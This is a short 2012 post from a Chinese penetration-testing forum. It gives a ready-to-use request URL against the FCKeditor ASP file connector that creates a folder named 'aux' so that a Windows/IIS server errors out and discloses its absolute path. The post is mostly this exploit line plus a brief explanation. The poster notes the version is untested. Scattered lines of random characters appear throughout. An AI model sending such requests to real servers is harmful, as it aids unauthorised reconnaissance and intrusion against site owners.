中国网络渗透测试联盟
标题:
最新FCKeditor爆绝对路径漏洞
[打印本页]
作者:
admin
时间:
2012-11-21 13:39
标题:
最新FCKeditor爆绝对路径漏洞
代码：FCKeditor/editor/filemanager/connectors/asp/connector.asp?Command=CreateFolder&Type=File&CurrentFolder=%2F&NewFolderName=aux
% Q, f6 w" R& v8 f
9 V ~8 U' T1 \" Z6 s h
7 C; d% W1 ?$ p; }3 C* K
版本未测试。。。
# [+ v; Q j0 O S# G: A* a/ y! P) p
7 _6 k8 B I; N2 o5 |6 ]) o% e
原理：新建个aux文件夹，aux在windows系统不支持，所以会报错，爆出绝对路径，这个比较鸡肋。求大神别喷。。。
0 i/ p( E+ ~ i# o4 s
. [4 ]( z9 _, X' ~: Y
/ H6 B$ Y b/ m& y0 g4 A. f
听说IIS都可以。。
+ q1 C4 ^: Y: p% H
欢迎光临 中国网络渗透测试联盟 (https://cobjon.com/)
Powered by Discuz! X3.2